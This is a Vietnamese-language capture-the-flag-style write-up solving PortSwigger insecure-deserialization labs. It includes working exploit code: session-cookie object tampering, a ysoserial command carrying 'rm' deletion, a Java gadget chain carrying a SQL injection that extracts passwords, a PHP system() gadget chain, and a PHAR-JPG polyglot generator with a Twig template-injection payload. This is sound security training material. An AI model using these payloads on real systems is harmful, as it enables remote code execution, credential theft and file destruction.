# WEB11: Insecure Deserialization
## Lab: Modifying serialized objects
```!
This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result. To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete Carlos's account.
You can log in to your own account using the following credentials: wiener:peter
```
Sau khi login vào account wiener:peter, server trả về một cookie mới cho ta

Thử base64 decode chuỗi này, nhận thấy đây là dạng serialized data trong php

Theo như mô tả yêu cầu của đề thì có lẽ như ta phải leo quyền để có quyền hạn như user admin, bởi vì chuỗi serialized data này không hề được mã hóa cũng như đảm bảo tính toàn vẹn nên ta hoàn toàn có thể chỉnh sửa thuộc tính `admin:false` hiện tại thành `admin:true`.

Đổi cookie sau đó access vào lại /my-account, xuất hiện thêm Admin panel, sau đó ta chỉ cần xóa user carlos là solve đc bài lab

Kết quả

## Lab: Modifying serialized data types
```!
This lab uses a serialization-based session mechanism and is vulnerable to authentication bypass as a result. To solve the lab, edit the serialized object in the session cookie to access the administrator account. Then, delete Carlos.
You can log in to your own account using the following credentials: wiener:peter
```
Sau khi access vào bài lab, ta được cấp cookie, thử base64 decode-> Có thể thấy ở đây có một trường là `access_token` có dạng string:

Ý tưởng khai thác sẽ là chỉnh username thành `administrator` và thay đổi type của trường này thành integer với value là 0. Bởi vì trong php có lỗi loose comparison, nếu string so sánh với 0 sẽ thành true và thành công access vào admin pannel

Set lại cookie và access đến `/admin`

Delete user carlos và solve bài lab

## Lab: Using application functionality to exploit insecure deserialization
```!
This lab uses a serialization-based session mechanism. A certain feature invokes a dangerous method on data provided in a serialized object. To solve the lab, edit the serialized object in the session cookie and use it to delete the morale.txt file from Carlos's home directory.
You can log in to your own account using the following credentials: wiener:peter
You also have access to a backup account: gregg:rosebud
```
Sau khi login vào account `wiener` ta có giao diện như sau:

Vẫn decode cookie như các bài lab trước, ta thấy có thêm một filed là `avatar_link` trỏ đến avatar của account hiện tại:

Theo yêu cầu của đề bài, ta chỉnh lại giá trị của field này trỏ đến `/home/carlos/morale.txt`

Set lại cookie và ấn delete account, account hiện tại cùng với file `morale.txt` sẽ bị xóa

## Lab: Arbitrary object injection in PHP
```!
This lab uses a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. To solve the lab, create and inject a malicious serialized object to delete the morale.txt file from Carlos's home directory. You will need to obtain source code access to solve this lab.
You can log in to your own account using the following credentials: wiener:pete
```
Login vào account bài cung cấp và decode cookie, ta thấy không có gì đặc biệt ở cookie lần này (vì mục tiêu là cần xóa file `morale.txt`)

Sau khi fuzz qua trang web, ta thấy có lộ một file `CustomTemplate.php`

Thử access vào file này thì không thấy hiển thị ra trang web bất kì output nào, thêm `~` vào ta xem được source của file

Tới đây ta sẽ tạo một instance của class CustomTemplate và set cho field `lock_file_path` trỏ đến `morale.txt` và gửi lên server, khi server thực hiện unserialize sẽ gọi hàm `__destruct` và xóa file -> solve
```bash
PS C:\Users\ASUS> php -a
Interactive shell
php > class CustomTemplate {};
php > $a = new CustomTemplate;
php > $a -> lock_file_path = "/home/carlos/morale.txt";
php > echo serialize($a);
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
php >
```

## Lab: Exploiting Java deserialization with Apache Commons
```!
This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library. Although you don't have source code access, you can still exploit this lab using pre-built gadget chains.
To solve the lab, use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos's home directory.
You can log in to your own account using the following credentials: wiener:peter
```
Cookie nhận được server có các byte đầu là `rO0AB` -> java serialized data

Vì bài có nói bên phía server sử dụng common collections, nên ta thử gen payload rce với ysoserial
`java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections1 "rm /home/carlos/morale.txt" | base64 -w0`
Tuy nhiên send lên server thì không có gì xảy ra chỉ trả về lỗi Internal server error, có thể phiên bản jdk bên phía server cao hơn so với chain này. Thử nhích dần lên và cuối cùng ở Common4 có thể RCE:
Send payload

Solve

## Lab: Exploiting PHP deserialization with a pre-built gadget chain
```!
This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don't have source code access, you can still exploit this lab's insecure deserialization using pre-built gadget chains.
To solve the lab, identify the target framework then use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, work out how to generate a valid signed cookie containing your malicious object. Finally, pass this into the website to delete the morale.txt file from Carlos's home directory.
You can log in to your own account using the following credentials: wiener:peter
```
Decode cookie từ server, ta thấy lần này server có sử dụng thêm một field là `sig_hmac_sha1` để check xem `token` có bị chỉnh sửa k

nếu ta chỉnh sửa giá trị của cookie và gửi lên lại server, trả về lỗi -> biết được server sử dụng Symphony ver 4.3.6

Bên cạnh đó tại `GET /`, ta thấy được một endpoint trỏ đến `phpinfo.php`

Access vào file này, ta lấy được secret key dùng cho việc sign token

Cuối cùng dùng phpgcc để gen payload rce với symphony 4:

HMAC sign lại giá trị `token`

Set lại cookie và gửi lên server, kết quả:

## Lab: Exploiting Ruby deserialization using a documented gadget chain
```!
This lab uses a serialization-based session mechanism and the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework.
To solve the lab, find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos's home directory.
You can log in to your own account using the following credentials: wiener:peter
```
Login vào account `wiener`, lấy cookie cấp từ server và decode

Ta thấy k có dạng giống serialized data trong php và java, nhưng trong nội dung lí thuyết còn nhắc đến ruby.
Tham khảo qua bài viết [này](https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html) và áp dụng để trigger được lỗi deseri trong rails với mọi version ruby và chỉ cần default class được load
Gen payload:

Set lại cookie

và kết quả:

## Lab: Developing a custom gadget chain for Java deserialization
```!
This lab uses a serialization-based session mechanism. If you can construct a suitable gadget chain, you can exploit this lab's insecure deserialization to obtain the administrator's password.
To solve the lab, gain access to the source code and use it to construct a gadget chain to obtain the administrator's password. Then, log in as the administrator and delete Carlos's account.
You can log in to your own account using the following credentials: wiener:peter
Note that solving this lab requires basic familiarity with another topic that we've covered on the Web Security Academy.
```
Login với account bài cung cấp, ta để ý hai chỗ đó là server để lộ một file `AccessTokenUser.java` và đồng thời session cookie này lưu giá trị base64 encode của serialized data trong java

Access vào file này, ta thấy nó định nghĩa một class lưu `accessToken` ứng với `username`

Thử bug directory listing trên server, ta phát hiện thêm một file khác `ProductTemplate.java`

File này định nghĩa class `ProductTemplate`, class này ghi đè hàm `readObject` -> khi được deserilize sẽ thực hiện thêm việc kết nối đến database và lấy về thông tin products

Tuy nhiên nếu ta để ý thì ở đây dev-er sử dụng format string
`String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);` và đồng thời biến `id` này là kiểu String => sqli
Vậy việc còn lại là viết code java thực hiện việc serialized object của class `ProductTemplate` với `id` là payload sqli
script:
```java!
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.util.Base64;
public class main {
public static void main(String[] args) throws IOException {
//String sqliPayload = "' AND 1 = UNION SELECT cast((select 'b' from users) as int),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -";
String sqliPayload = "<sqli payload>";
ProductTemplate productTemplate = new ProductTemplate(sqliPayload);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(productTemplate);
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
}
}
```
Lưu ý cần đặt file này sao cho folder structure như bên dưới nếu không khi server deserialize sẽ báo Class not found exception

Từ code của file `ProductTemplate.java` cũng như response khi test payload ta thấy server trả về lỗi

vì vậy có thể áp dụng khai thác sqli error message lấy password, final payload: `sqliPayload="' and 1=cast((SELECT password FROM users where username='administrator') as int) and '1'='1"`

Cuối cùng login với account admin

Delete user carlos và solve bài lab

## Lab: Developing a custom gadget chain for PHP deserialization
```!
This lab uses a serialization-based session mechanism. By deploying a custom gadget chain, you can exploit its insecure deserialization to achieve remote code execution. To solve the lab, delete the morale.txt file from Carlos's home directory.
You can log in to your own account using the following credentials: wiener:peter
```
Bài này vẫn lộ file `CustomTemplate.php` như bài trước nhưng khác ở source code:

Source code:
```php=
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
?>
```
Source khá dài nhưng khi nhìn lướt qua thì ta thấy sink nằm ở dòng 55 `call_user_func()` và source nằm ở `__wakeup()` dòng 19
Script gen payload:
```php!
<?php
class CustomTemplate {}
class Product {}
class DefaultMap{}
$dm = new DefaultMap;
$dm -> callback = "system";
$ct = new CustomTemplate;
$ct -> default_desc_type = "rm /home/carlos/morale.txt";
$ct -> desc = $dm;
echo base64_encode(serialize($ct));
```
Copy payload và set vào cookie, kết quả

## Lab: Using PHAR deserialization to deploy a custom gadget chain
```!
This lab does not explicitly use deserialization. However, if you combine PHAR deserialization with other advanced hacking techniques, you can still achieve remote code execution via a custom gadget chain.
To solve the lab, delete the morale.txt file from Carlos's home directory.
You can log in to your own account using the following credentials: wiener:peter
```
Login vào account bài cup cấp, trang web cho phép upload avatar - tuy nhiên chỉ có thể upload file .jpg

Sau đó avatar sẽ được load bằng `/cgi-bin/avatar.php?avatar=wiener`

Ở đây mình thử fuzz một tí thì phát hiện bên phía server sử dụng `file_exists()` -> có thể trigger phar deseri với hàm này

Tiếp theo thử directory listing và tìm được vài file khác:

Blog.php:

CustomTemplate.php:

Đọc qua hai file này, ta thấy trên server bị lỗi ssti trong template engine Twig, cụ thể tại magic method `__wakeup` trong `Blog.php`
```php!
public function __wakeup() {
$loader = new Twig_Loader_Array([
'index' => $this->desc,
]);
$this->twig = new Twig_Environment($loader);
}
```
-> ta cần set `desc` thành [payload](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#twig-php) để rce, vậy đã tìm xong sink
Còn về source, ta thấy `Customer.php->__destrstruct()` gọi đến `Customer.php->lockFilePath()` và ở đây có thể trigger `__toString()`. vì vậy sẽ cần set cho field `template_file_path` của instance class Customer là instance của class Blog là xong.
Final script (script tạo phar jpt polygot file ban đầu xem tại [đây](https://github.com/kunte0/phar-jpg-polyglot/blob/master/in.jpg)):
```php!
<?php
function generate_base_phar($o, $prefix){
global $tempname;
@unlink($tempname);
$phar = new Phar($tempname);
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->stopBuffering();
$basecontent = file_get_contents($tempname);
@unlink($tempname);
return $basecontent;
}
function generate_polyglot($phar, $jpeg){
$phar = substr($phar, 6); // remove <?php dosent work with prefix
$len = strlen($phar) + 2; // fixed
$new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
$contents = substr($new, 0, 148) . " " . substr($new, 156);
// calc tar checksum
$chksum = 0;
for ($i=0; $i<512; $i++){
$chksum += ord(substr($contents, $i, 1));
}
// embed checksum
$oct = sprintf("%07o", $chksum);
$contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
return $contents;
}
// pop exploit class
class CustomTemplate {}
class Blog {}
$object = new CustomTemplate;
$blog = new Blog;
$blog->desc = "{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('rm /home/carlos/morale.txt')}}";
$blog->user = 'user';
$object->template_file_path = $blog;
// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';
var_dump(serialize($object));
// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));
/*
// config for gif
$prefix = "\x47\x49\x46\x38\x39\x61" . "\x2c\x01\x2c\x01"; // gif header, size 300 x 300
$tempname = 'temp.phar'; // make it phar
$outfile = 'out.gif';
// make gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));
*/
```

###### tags: `portswigger`